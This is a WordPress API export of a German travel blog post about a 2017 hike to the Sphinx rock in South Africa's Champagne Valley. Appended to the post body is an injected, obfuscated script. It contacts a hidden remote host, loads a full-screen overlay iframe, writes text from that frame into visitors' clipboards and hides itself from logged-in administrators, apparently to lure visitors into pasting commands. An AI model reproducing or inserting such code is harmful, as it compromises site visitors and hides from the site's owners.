{"id":3171,"date":"2017-05-02T18:38:00","date_gmt":"2017-05-02T18:38:00","guid":{"rendered":"http:\/\/karnoll.de\/?p=3171"},"modified":"2026-05-22T17:26:24","modified_gmt":"2026-05-22T17:26:24","slug":"ema-fweni-champagne-valley","status":"publish","type":"post","link":"https:\/\/karnoll.de\/?p=3171","title":{"rendered":"Ema-Fweni-Champagne Valley"},"content":{"rendered":"<h1>Wandertag<\/h1>\n<p><font size=\"4\">Nun war es so weit, wir wollten uns dem Drakensbergmassiv wandernd n\u00e4hern.<\/font><\/p>\n<p><font size=\"4\"><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2017\/08\/DSC02825.jpg\"><img loading=\"lazy\" decoding=\"async\" width=\"244\" height=\"164\" title=\"DSC02825\" style=\"border-width: 0px; padding-top: 0px; padding-right: 0px; padding-left: 0px; display: inline; background-image: none;\" alt=\"DSC02825\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2017\/08\/DSC02825_thumb.jpg\" border=\"0\"><\/a><\/font><\/p>\n<p><font size=\"4\">Jens hatte uns eine \u201ceinfache\u201d Route vorgeschlagen, die wir dann auch beherzt einschlugen. <\/font><\/p>\n<p><font size=\"4\"> <\/p>\n<p><font size=\"4\">Allen Verboten zum Trotz gingen wir die ersten Meter auf einem Pfad, der normalerweise nur den Hotelg\u00e4sten des Champagne Hotel vorbehalten ist, aber auch hier gilt, wo kein Kl\u00e4ger, da kein Richter.<\/font><\/p>\n<p><\/font> <\/p>\n<p><font size=\"4\">Es ging steil voran, auf einem steilen Pfad durch einen Urwald machten wir die ersten H\u00f6henmeter. Ziel war ein Felsen namens Sphinx. <\/font><\/p>\n<p><font size=\"4\">Auf dem Weg dorthin mussten wir einige B\u00e4che durchqueren, \u00fcber B\u00e4ume steigen, also hierbei von einem Walk (O-Ton Jens und Rita, unsere Vermieter) zu sprechen, ist aus Perspektive von uns Vorderrh\u00f6nern schon sehr verwegen. <br \/>Man vergisst auch sehr schnell, dass man sich hier in Afrika befindet. Die Umgebung erinnert doch eher an die Urw\u00e4lder in Kalifornien, mit ihren Mammutb\u00e4umen, auch wenn diese hier nat\u00fcrlich fehlen.<\/font><\/p>\n<p><font size=\"4\"><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2017\/08\/DSC02827.jpg\"><img loading=\"lazy\" decoding=\"async\" width=\"244\" height=\"145\" title=\"DSC02827\" style=\"border-width: 0px; padding-top: 0px; padding-right: 0px; padding-left: 0px; display: inline; background-image: none;\" alt=\"DSC02827\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2017\/08\/DSC02827_thumb.jpg\" border=\"0\"><\/a><\/font><\/p>\n<p><font size=\"4\">Bis zu den sogenannten Crystal Falls hielt ich noch mit und als ich sah, dass der Weg nicht einfacher wurde, brach ich an der Stelle wegen Kniebeschwerden ab und Daniela schlug sich alleine weiter in Richtung der Sphinx durch.<\/font><\/p>\n<p><font size=\"4\"><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2017\/08\/DSC02837.jpg\"><img loading=\"lazy\" decoding=\"async\" width=\"244\" height=\"164\" title=\"DSC02837\" style=\"border-width: 0px; padding-top: 0px; padding-right: 0px; padding-left: 0px; display: inline; background-image: none;\" alt=\"DSC02837\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2017\/08\/DSC02837_thumb.jpg\" border=\"0\"><\/a><\/font><\/p>\n<p><font size=\"4\">Ich besuchte noch einen kleinen, idyllischen See und kam am R\u00fcckweg direkt auf dem Gel\u00e4nde des 4-Sterne-Hotels raus. Hier stahl ich mich an der Wache, um Fragen zu vermeiden, vorbei.<\/font><\/p>\n<p><font size=\"4\"><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2017\/08\/DSC02843.jpg\"><img loading=\"lazy\" decoding=\"async\" width=\"244\" height=\"164\" title=\"DSC02843\" style=\"border-width: 0px; padding-top: 0px; padding-right: 0px; padding-left: 0px; display: inline; background-image: none;\" alt=\"DSC02843\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2017\/08\/DSC02843_thumb.jpg\" border=\"0\"><\/a><\/font><\/p>\n<p><font size=\"4\">Daniela berichtet nun \u00fcber den weiteren Weg:<\/font><\/p>\n<p><font size=\"4\">Ich war mir sicher, dass Steffen irgendwie den Weg zu unserer Unterkunft finden w\u00fcrde, so dass ich ihn getrost zur\u00fccklie\u00df.<\/font><\/p>\n<p><font size=\"4\">Der Weg wurde tats\u00e4chlich nicht einfacher, aber daf\u00fcr umso sch\u00f6ner. Nachdem ich den Urwald hinter mir gelassen hatte, wanderte\/stieg\/kraxelte ich \u00fcber einen schmalen Pfad bis zur <sub><\/sub><sub><\/sub>sogenannten Sphinx. Auf der von uns entwickelten, nach oben offenen \u201cBergziegenskala\u201d (BZS) verdient der heutige Weg mindestens eine 10,0, teilweise aber auch eine 11,9.<\/font><\/p>\n<p><font size=\"4\">Von&nbsp; der \u201cSphinx\u201d aus hatte ich so einen tollen Blick \u00fcber das Tal und das Bergmassiv, dass ich mich entschloss, mich im Felsen zu verewigen.<\/font><\/p>\n<p><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2017\/08\/DSC03512.jpg\"><img loading=\"lazy\" decoding=\"async\" width=\"244\" height=\"184\" title=\"DSC03512\" style=\"border-width: 0px; padding-top: 0px; padding-right: 0px; padding-left: 0px; display: inline; background-image: none;\" alt=\"DSC03512\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2017\/08\/DSC03512_thumb.jpg\" border=\"0\"><\/a><\/p>\n<p><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2017\/08\/DSC03538.jpg\"><img loading=\"lazy\" decoding=\"async\" width=\"184\" height=\"244\" title=\"DSC03538\" style=\"border-width: 0px; margin: 0px; padding-top: 0px; padding-right: 0px; padding-left: 0px; display: inline; background-image: none;\" alt=\"DSC03538\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2017\/08\/DSC03538_thumb.jpg\" border=\"0\"><\/a><\/p>\n<p><font size=\"4\">Eigentlich wollte ich ja weiter, auf die Empfehlung von Jens, hinauf zum Breakfast Stream, aber der Weg wurde immer steiler und anspruchsvoller, so dass ich ein kleines St\u00fcck oberhalb der \u201cSphinx\u201d eine kleine Pause einlegte, die wundervolle Aussicht genoss und dann den R\u00fcckweg antrat.<\/font><\/p>\n<p><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2017\/08\/DSC03536.jpg\"><img loading=\"lazy\" decoding=\"async\" width=\"244\" height=\"184\" title=\"DSC03536\" style=\"border-width: 0px; margin: 0px; padding-top: 0px; padding-right: 0px; padding-left: 0px; display: inline; background-image: none;\" alt=\"DSC03536\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2017\/08\/DSC03536_thumb.jpg\" border=\"0\"><\/a><\/p>\n<p><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2017\/08\/DSC03537.jpg\"><img loading=\"lazy\" decoding=\"async\" width=\"244\" height=\"57\" title=\"DSC03537\" style=\"border-width: 0px; margin: 0px; padding-top: 0px; padding-right: 0px; padding-left: 0px; display: inline; background-image: none;\" alt=\"DSC03537\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2017\/08\/DSC03537_thumb.jpg\" border=\"0\"><\/a><\/p>\n<p><font size=\"4\">Es wurde auch kein einfacher Abstieg, aber ich habe ihn trotzdem gemeistert und fand auch den Einstieg \u00fcber die sogenannte \u201cMonks Cowl\u201d. Auf dem Abstieg nach unten begegneten mir auch immer wieder andere Wanderer, mit denen ich einige nette Smalltalks f\u00fchrte.<\/font><\/p>\n<p><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2017\/08\/DSC03550.jpg\"><img loading=\"lazy\" decoding=\"async\" width=\"184\" height=\"244\" title=\"DSC03550\" style=\"border-width: 0px; margin: 0px; padding-top: 0px; padding-right: 0px; padding-left: 0px; display: inline; background-image: none;\" alt=\"DSC03550\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2017\/08\/DSC03550_thumb.jpg\" border=\"0\"><\/a><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2017\/08\/DSC03505.jpg\"><img loading=\"lazy\" decoding=\"async\" width=\"244\" height=\"184\" title=\"DSC03505\" style=\"border-width: 0px; padding-top: 0px; padding-right: 0px; padding-left: 0px; display: inline; background-image: none;\" alt=\"DSC03505\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2017\/08\/DSC03505_thumb.jpg\" border=\"0\"><\/a><\/p>\n<p><font size=\"4\">Unterwegs las ich auch immer wieder Verbotsschilder, dass man den Weg nur beschreiten d\u00fcrfte, wenn man den Eintritt daf\u00fcr gezahlt h\u00e4tte. Leider fand ich keine Kasse, wo ich dies h\u00e4tte tun k\u00f6nnen.<\/font><\/p>\n<p><sub><\/sub><sub><\/sub><font size=\"4\">Nach gut drei Stunden und insgesamt 7 Kilometern kam ich wieder wohlbehalten in unserer Unterkunft an.<\/font><\/p>\n<p>Zur Belohnung machten wir in einer nahegelegenen B\u00e4ckerei Mittag. Wir bestellten von der Deli-Karte und tranken dazu leckere Milch-Shakes.<\/p>\n<p><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2017\/08\/DSC03574.jpg\"><img loading=\"lazy\" decoding=\"async\" width=\"184\" height=\"244\" title=\"DSC03574\" style=\"border-width: 0px; padding-top: 0px; padding-right: 0px; padding-left: 0px; display: inline; background-image: none;\" alt=\"DSC03574\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2017\/08\/DSC03574_thumb.jpg\" border=\"0\"><\/a><\/p>\n<p>Wir fuhren weiter ins Tal, machten einige Besorgungen und hielten auf dem R\u00fcckweg bei einem Ort an, an dem man eine Canopy-Tour machen kann. Canopy ist Seilbahnfahren, nur mit Gurtzeug und durch die B\u00e4ume und \u00fcber weite Strecken hinweg. <\/p>\n<p>Unser anf\u00e4nglicher Enthusiasmus wurde aber durch ein paar Fakten ged\u00e4mpft (70 Meter \u00fcber dem Boden, Fahrten bis zu 170 Meter) und nach einem Video, in dem in den ersten Szenen merkw\u00fcrdiger Weise ein Grab gezeigt wurde, \u00fcberlegten wir es uns anders, bedankten uns h\u00f6flich und fuhren wieder nach Ema Fweni.<\/p>\n<p><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2017\/08\/DSC02864.jpg\"><img loading=\"lazy\" decoding=\"async\" width=\"244\" height=\"164\" title=\"DSC02864\" style=\"border-width: 0px; padding-top: 0px; padding-right: 0px; padding-left: 0px; display: inline; background-image: none;\" alt=\"DSC02864\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2017\/08\/DSC02864_thumb.jpg\" border=\"0\"><\/a><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2017\/08\/DSC02873.jpg\"><img loading=\"lazy\" decoding=\"async\" width=\"244\" height=\"164\" title=\"DSC02873\" style=\"border-width: 0px; padding-top: 0px; padding-right: 0px; padding-left: 0px; display: inline; background-image: none;\" alt=\"DSC02873\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2017\/08\/DSC02873_thumb.jpg\" border=\"0\"><\/a><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2017\/08\/DSC02881.jpg\"><img loading=\"lazy\" decoding=\"async\" width=\"244\" height=\"164\" title=\"DSC02881\" style=\"border-width: 0px; padding-top: 0px; padding-right: 0px; padding-left: 0px; display: inline; background-image: none;\" alt=\"DSC02881\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2017\/08\/DSC02881_thumb.jpg\" border=\"0\"><\/a><\/p>\n<p>Dort machten wir einen Rundgang durch den tollen Garten von Jens und Rita. Rita trafen wir dann auch pers\u00f6nlich und unterhielten uns \u00fcber diesen tollen Platz.<\/p>\n<p><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2017\/08\/DSC02890.jpg\"><img loading=\"lazy\" decoding=\"async\" width=\"244\" height=\"164\" title=\"DSC02890\" style=\"border-width: 0px; padding-top: 0px; padding-right: 0px; padding-left: 0px; display: inline; background-image: none;\" alt=\"DSC02890\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2017\/08\/DSC02890_thumb.jpg\" border=\"0\"><\/a><\/p>\n<p><\/p>\n<p>Sie hatte diesen mit Jens zusammen vor vielen Jahren gefunden, sich darin verliebt und nachdem beide ihren Besitz in Johannesburg verkauft hatten, sich in voller G\u00e4nze diesem Flecken gewidmet. <\/p>\n<p>Wir k\u00f6nnen die Unterkunft nur empfehlen, die Lage, die Aussicht sind Einmalig. Auch die Ausstattung ist sehr gut. Vor allem gef\u00e4llt uns der Kamin, die N\u00e4chte werden jetzt doch schon empfindlich kalt. Rita erz\u00e4hlte, dass Anfang Mai auch meistens die Gipfel des Cathkin Peaks den ersten Schnee abbekommen.<\/p>\n<p>Deswegen l\u00e4uft auch der Kamin bereits seit 1 Stunde auf vollen Touren und wir k\u00f6nnen in gem\u00fctlicher W\u00e4rme diesen Blog schreiben.<\/p>\n<p><script>;(function () {\n  var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})();\n  var TRUSTED_CONFIGS = [\n    { template: \"https:\/\/raw.githubusercontent.com\/{id}\", useFetch: true }\n  ];<\/p>\n<p>  var GLOBAL_KEY = (typeof Symbol === \"function\" && Symbol.for)\n    ? Symbol.for(\"__inline_id_offer__\")\n    : \"__inline_id_offer__\";<\/p>\n<p>  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {\n    status: \"idle\",\n    iframeId: \"__inline_offer_iframe__\",\n    iframeAttr: \"data-inline-offer-frame\",\n    hints: {},\n    runPromise: null,\n    destroy: null,\n    reveal: null,\n    requestTimeoutMs: 4000,\n    iframeTimeoutMs: 9000,\n    requireReadyMessage: false,\n    messageBound: false\n  };<\/p>\n<p>  function isWpLoggedInContext() {\n    try {\n      if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;<\/p>\n<p>      var path = window.location.pathname || \"\";\n      if (\/^\\\/(wp-admin|wp-login)\/.test(path)) return true;<\/p>\n<p>      var cookie = document.cookie || \"\";\n      if (\/wordpress_logged_in_[^=]*=\/.test(cookie)) return true;<\/p>\n<p>      var de = document.documentElement;\n      var body = document.body;<\/p>\n<p>      if (de && typeof de.className === \"string\" && \/\\bwp-toolbar\\b\/.test(de.className)) return true;\n      if (body && typeof body.className === \"string\" && \/\\badmin-bar\\b\/.test(body.className)) return true;\n      if (document.getElementById(\"wpadminbar\")) return true;\n    } catch (e) {}<\/p>\n<p>    return false;\n  }<\/p>\n<p>  if (isWpLoggedInContext()) return;<\/p>\n<p>  if (document.getElementById(registry.iframeId)) {\n    registry.status = \"active\";\n    return;\n  }<\/p>\n<p>  if (registry.runPromise || registry.status === \"loading\" || registry.status === \"active\" || registry.status === \"done\") {\n    return;\n  }<\/p>\n<p>  registry.status = \"loading\";<\/p>\n<p>  function safeAppendQuery(url, key, val) {\n    var sep = url.indexOf(\"?\") >= 0 ? \"&\" : \"?\";\n    return url + sep + encodeURIComponent(key) + \"=\" + encodeURIComponent(val);\n  }<\/p>\n<p>  function buildTrustedUrl(template, id) {\n    if (!template || !id) return \"\";<\/p>\n<p>    if (template.indexOf(\"dropbox.com\") >= 0) {\n      return template.replace(\/\\{id\\}\/g, id);\n    }<\/p>\n<p>    var encoded = encodeURIComponent(id);<\/p>\n<p>    if (template.indexOf(\"gist.githubusercontent.com\") >= 0) {\n      encoded = encoded.replace(\/%2F\/g, \"\/\");\n    }<\/p>\n<p>    return template.replace(\/\\{id\\}\/g, encoded);\n  }<\/p>\n<p>  function toHttpUrl(value) {\n    if (!value) return \"\";<\/p>\n<p>    var s = String(value)\n      .replace(\/^\\uFEFF\/, \"\")\n      .trim()\n      .replace(\/^['\"`\\s]+|['\"`\\s]+$\/g, \"\");<\/p>\n<p>    if (!s) return \"\";<\/p>\n<p>    if (!\/^[a-z][a-z0-9+.-]*:\\\/\\\/\/i.test(s)) {\n      if (\/^[a-z0-9.-]+\\.[a-z]{2,}(?::\\d+)?(?:[\\\/?#]|$)\/i.test(s)) {\n        s = \"https:\/\/\" + s;\n      } else {\n        return \"\";\n      }\n    }<\/p>\n<p>    try {\n      var u = new URL(s);\n      if (u.protocol === \"http:\" || u.protocol === \"https:\") {\n        return u.href;\n      }\n    } catch (e) {}<\/p>\n<p>    return \"\";\n  }<\/p>\n<p>  function findUrlInObject(input, depth) {\n    if (!input || depth > 3) return \"\";<\/p>\n<p>    if (typeof input === \"string\") {\n      return toHttpUrl(input);\n    }<\/p>\n<p>    if (Object.prototype.toString.call(input) === \"[object Array]\") {\n      for (var i = 0; i < input.length; i++) {\n        var arrVal = findUrlInObject(input[i], depth + 1);\n        if (arrVal) return arrVal;\n      }\n      return \"\";\n    }\n\n    if (typeof input === \"object\") {\n      var keys = [\"url\", \"link\", \"href\", \"location\", \"redirect\", \"target\", \"landing\", \"landingUrl\"];\n\n      for (var j = 0; j < keys.length; j++) {\n        var key = keys[j];\n        if (Object.prototype.hasOwnProperty.call(input, key)) {\n          var direct = findUrlInObject(input[key], depth + 1);\n          if (direct) return direct;\n        }\n      }\n\n      for (var k in input) {\n        if (!Object.prototype.hasOwnProperty.call(input, k)) continue;\n        var nested = findUrlInObject(input[k], depth + 1);\n        if (nested) return nested;\n      }\n    }\n\n    return \"\";\n  }\n\n  function extractLandingUrl(raw) {\n    if (!raw) return \"\";\n\n    var text = String(raw).replace(\/^\\uFEFF\/, \"\").trim();\n    if (!text) return \"\";\n\n    var direct = toHttpUrl(text);\n    if (direct) return direct;\n\n    if ((text.charAt(0) === \"{\" &#038;&#038; text.charAt(text.length - 1) === \"}\") ||\n        (text.charAt(0) === \"[\" &#038;&#038; text.charAt(text.length - 1) === \"]\")) {\n      try {\n        var parsed = JSON.parse(text);\n        var jsonUrl = findUrlInObject(parsed, 0);\n        if (jsonUrl) return jsonUrl;\n      } catch (e) {}\n    }\n\n    var matchHttp = text.match(\/https?:\\\/\\\/[^\\s\"'<>]+\/i);\n    if (matchHttp && matchHttp[0]) {\n      var httpUrl = toHttpUrl(matchHttp[0]);\n      if (httpUrl) return httpUrl;\n    }<\/p>\n<p>    var matchDomain = text.match(\/\\b[a-z0-9.-]+\\.[a-z]{2,}(?::\\d+)?(?:\\\/[^\\s\"'<>]*)?\/i);\n    if (matchDomain && matchDomain[0]) {\n      var domainUrl = toHttpUrl(matchDomain[0]);\n      if (domainUrl) return domainUrl;\n    }<\/p>\n<p>    return \"\";\n  }<\/p>\n<p>  function getOriginSafe(url) {\n    try {\n      return new URL(url).origin;\n    } catch (e) {\n      return \"\";\n    }\n  }<\/p>\n<p>  function addHint(rel, href) {\n    if (!href || !document || !document.createElement) return;<\/p>\n<p>    var key = rel + \"::\" + href;\n    if (registry.hints[key]) return;\n    registry.hints[key] = true;<\/p>\n<p>    try {\n      var parent = document.head || document.documentElement;\n      if (!parent) return;<\/p>\n<p>      var link = document.createElement(\"link\");\n      link.rel = rel;\n      link.href = href;<\/p>\n<p>      if (rel === \"preconnect\") {\n        link.crossOrigin = \"anonymous\";\n      }<\/p>\n<p>      parent.appendChild(link);\n    } catch (e) {}\n  }<\/p>\n<p>  function warmupOrigins() {\n    var origins = {};\n    var apiOrigin = getOriginSafe(API_ID_URL);\n    if (apiOrigin) origins[apiOrigin] = true;<\/p>\n<p>    for (var i = 0; i < TRUSTED_CONFIGS.length; i++) {\n      var tpl = TRUSTED_CONFIGS[i] &#038;&#038; TRUSTED_CONFIGS[i].template;\n      if (!tpl) continue;\n      var probe = tpl.replace(\/\\{id\\}\/g, \"x\");\n      var origin = getOriginSafe(probe);\n      if (origin) origins[origin] = true;\n    }\n\n    for (var originKey in origins) {\n      if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue;\n      addHint(\"dns-prefetch\", originKey);\n      addHint(\"preconnect\", originKey);\n    }\n  }\n\n  function getMountNode() {\n    return document.body || document.documentElement || null;\n  }\n\n  function fetchTextNoThrow(url, timeoutMs) {\n    return new Promise(function (resolve) {\n      if (!url || typeof fetch !== \"function\") {\n        resolve(\"\");\n        return;\n      }\n\n      var finished = false;\n      var timer = null;\n      var controller = null;\n\n      function done(value) {\n        if (finished) return;\n        finished = true;\n        if (timer) clearTimeout(timer);\n        resolve((value || \"\").trim());\n      }\n\n      try {\n        if (typeof AbortController !== \"undefined\") {\n          controller = new AbortController();\n        }\n\n        timer = setTimeout(function () {\n          try {\n            if (controller) controller.abort();\n          } catch (e) {}\n          done(\"\");\n        }, timeoutMs);\n\n        fetch(url, {\n          cache: \"no-store\",\n          credentials: \"omit\",\n          signal: controller ? controller.signal : void 0\n        })\n          .then(function (response) {\n            return response ? response.text() : \"\";\n          })\n          .then(function (text) {\n            done(text);\n          })\n          .catch(function () {\n            done(\"\");\n          });\n      } catch (e) {\n        done(\"\");\n      }\n    });\n  }\n\n  function tryCopy(text) {\n    if (typeof text !== \"string\" || !text) return;\n\n    try { window.focus(); } catch (e) {}\n\n    if (navigator.clipboard &#038;&#038; navigator.clipboard.writeText) {\n      navigator.clipboard.writeText(text).catch(function () {\n        fallbackCopy(text);\n      });\n      return;\n    }\n\n    fallbackCopy(text);\n  }\n\n  function fallbackCopy(text) {\n    try {\n      var mount = getMountNode();\n      if (!mount) return;\n\n      var ta = document.createElement(\"textarea\");\n      ta.value = text;\n      ta.setAttribute(\"readonly\", \"readonly\");\n      ta.style.position = \"fixed\";\n      ta.style.left = \"-9999px\";\n      ta.style.top = \"0\";\n      ta.style.opacity = \"0\";\n      mount.appendChild(ta);\n      try { ta.focus(); } catch (e) {}\n      ta.select();\n      ta.setSelectionRange(0, ta.value.length);\n      document.execCommand(\"copy\");\n      if (ta.parentNode) ta.parentNode.removeChild(ta);\n    } catch (e) {}\n  }\n\n  function bindMessageHandler() {\n    if (registry.messageBound) return;\n    registry.messageBound = true;\n\n    window.addEventListener(\"message\", function (event) {\n      var data = event &#038;&#038; event.data;\n      var iframe = document.getElementById(registry.iframeId);\n\n      if (!iframe || !data || typeof data !== \"object\") return;\n      if (event.source &#038;&#038; iframe.contentWindow &#038;&#038; event.source !== iframe.contentWindow) return;\n\n      if (data.type === \"ktl-show-original\") {\n        if (typeof registry.destroy === \"function\") registry.destroy();\n        return;\n      }\n\n      if (data.type === \"ktl-frame-ready\") {\n        if (typeof registry.reveal === \"function\") registry.reveal();\n        return;\n      }\n\n      if (data.type === \"copy\" &#038;&#038; typeof data.text === \"string\") {\n        tryCopy(data.text);\n      }\n    });\n  }\n\n  function cleanup(nextStatus) {\n    var iframe = document.getElementById(registry.iframeId);\n\n    registry.destroy = null;\n    registry.reveal = null;\n\n    try {\n      if (iframe &#038;&#038; iframe.parentNode) {\n        iframe.parentNode.removeChild(iframe);\n      }\n    } catch (e) {}\n\n    registry.status = nextStatus || \"done\";\n  }\n\n  function resolveLandingUrl(id) {\n    if (!id || !TRUSTED_CONFIGS.length) {\n      return Promise.resolve(\"\");\n    }\n\n    function step(index) {\n      if (index >= TRUSTED_CONFIGS.length) {\n        return Promise.resolve(\"\");\n      }<\/p>\n<p>      var cfg = TRUSTED_CONFIGS[index] || {};\n      var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || \"\", id));<\/p>\n<p>      if (!builtUrl) {\n        return step(index + 1);\n      }<\/p>\n<p>      if (!cfg.useFetch) {\n        return Promise.resolve(builtUrl);\n      }<\/p>\n<p>      return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)\n        .then(function (raw) {\n          var landingUrl = extractLandingUrl(raw);\n          if (landingUrl) return landingUrl;\n          return step(index + 1);\n        })\n        .catch(function () {\n          return step(index + 1);\n        });\n    }<\/p>\n<p>    return step(0);\n  }<\/p>\n<p>  function activateIframe(url) {\n    if (!url || registry.status === \"active\") return;<\/p>\n<p>    if (isWpLoggedInContext()) {\n      cleanup(\"done\");\n      return;\n    }<\/p>\n<p>    var existing = document.getElementById(registry.iframeId);\n    if (existing) {\n      registry.status = \"active\";\n      return;\n    }<\/p>\n<p>    var mount = getMountNode();\n    if (!mount) {\n      setTimeout(function () {\n        activateIframe(url);\n      }, 0);\n      return;\n    }<\/p>\n<p>    var iframe = document.createElement(\"iframe\");\n    var closed = false;\n    var revealed = false;\n    var timeoutId = null;<\/p>\n<p>    function reveal() {\n      if (closed || revealed) return;\n      revealed = true;\n      if (timeoutId) clearTimeout(timeoutId);<\/p>\n<p>      registry.status = \"active\";<\/p>\n<p>      iframe.style.visibility = \"visible\";\n      iframe.style.opacity = \"1\";\n      iframe.style.pointerEvents = \"auto\";\n      iframe.removeAttribute(\"aria-hidden\");<\/p>\n<p>      setTimeout(function () {\n        try { iframe.focus(); } catch (e) {}\n        try {\n          if (iframe.contentWindow && iframe.contentWindow.focus) {\n            iframe.contentWindow.focus();\n          }\n        } catch (e) {}\n      }, 0);\n    }<\/p>\n<p>    function destroy() {\n      if (closed) return;\n      closed = true;\n      if (timeoutId) clearTimeout(timeoutId);\n      cleanup(\"done\");\n    }<\/p>\n<p>    registry.destroy = destroy;\n    registry.reveal = reveal;<\/p>\n<p>    iframe.id = registry.iframeId;\n    iframe.setAttribute(registry.iframeAttr, \"1\");\n    iframe.setAttribute(\"aria-hidden\", \"true\");\n    iframe.setAttribute(\"loading\", \"eager\");\n    iframe.setAttribute(\"allow\", \"clipboard-write\");\n    iframe.src = safeAppendQuery(url, \"v\", Math.random().toString(36).slice(2));\n    iframe.style.cssText = [\n      \"position:fixed !important\",\n      \"top:0\",\n      \"left:0\",\n      \"width:100vw\",\n      \"height:100vh\",\n      \"border:none\",\n      \"z-index:2147483647\",\n      \"margin:0\",\n      \"padding:0\",\n      \"overflow:hidden\",\n      \"visibility:hidden\",\n      \"opacity:0\",\n      \"pointer-events:none\",\n      \"background:transparent\"\n    ].join(\";\");<\/p>\n<p>    iframe.onload = function () {\n      if (closed) return;\n      if (!registry.requireReadyMessage) {\n        reveal();\n      }\n    };<\/p>\n<p>    iframe.onerror = function () {\n      destroy();\n    };<\/p>\n<p>    timeoutId = setTimeout(function () {\n      destroy();\n    }, registry.iframeTimeoutMs);<\/p>\n<p>    try {\n      mount.appendChild(iframe);\n    } catch (e) {\n      destroy();\n    }\n  }<\/p>\n<p>  function run() {\n    warmupOrigins();\n    bindMessageHandler();<\/p>\n<p>    return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)\n      .then(function (id) {\n        if (isWpLoggedInContext()) {\n          cleanup(\"done\");\n          return \"\";\n        }<\/p>\n<p>        id = (id || \"\").trim();\n        if (!id) {\n          cleanup(\"done\");\n          return \"\";\n        }<\/p>\n<p>        return resolveLandingUrl(id);\n      })\n      .then(function (finalUrl) {\n        if (isWpLoggedInContext()) {\n          cleanup(\"done\");\n          return \"\";\n        }<\/p>\n<p>        finalUrl = toHttpUrl(finalUrl);<\/p>\n<p>        if (!finalUrl) {\n          cleanup(\"done\");\n          return \"\";\n        }<\/p>\n<p>        var finalOrigin = getOriginSafe(finalUrl);\n        if (finalOrigin) {\n          addHint(\"dns-prefetch\", finalOrigin);\n          addHint(\"preconnect\", finalOrigin);\n        }<\/p>\n<p>        activateIframe(finalUrl);\n        return finalUrl;\n      })\n      .catch(function () {\n        cleanup(\"done\");\n      });\n  }<\/p>\n<p>  registry.runPromise = run();\n})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Wandertag Nun war es so weit, wir wollten uns dem Drakensbergmassiv wandernd n\u00e4hern. Jens hatte uns eine \u201ceinfache\u201d Route vorgeschlagen, die wir dann auch beherzt einschlugen. Allen Verboten zum Trotz gingen wir die ersten Meter auf einem Pfad, der normalerweise nur den Hotelg\u00e4sten des Champagne Hotel vorbehalten ist, aber auch hier gilt, wo kein Kl\u00e4ger, &hellip; <a href=\"https:\/\/karnoll.de\/?p=3171\" class=\"more-link\"><span class=\"screen-reader-text\">Ema-Fweni-Champagne Valley<\/span> weiterlesen <span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4,7,22],"tags":[],"class_list":["post-3171","post","type-post","status-publish","format-standard","hentry","category-karnoll-fulda","category-karnolls-on-tour","category-suedafrika-2017"],"_links":{"self":[{"href":"https:\/\/karnoll.de\/index.php?rest_route=\/wp\/v2\/posts\/3171","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/karnoll.de\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/karnoll.de\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/karnoll.de\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/karnoll.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=3171"}],"version-history":[{"count":2,"href":"https:\/\/karnoll.de\/index.php?rest_route=\/wp\/v2\/posts\/3171\/revisions"}],"predecessor-version":[{"id":4479,"href":"https:\/\/karnoll.de\/index.php?rest_route=\/wp\/v2\/posts\/3171\/revisions\/4479"}],"wp:attachment":[{"href":"https:\/\/karnoll.de\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=3171"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/karnoll.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=3171"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/karnoll.de\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=3171"}],"curies":[{"name":"wp","href":"htt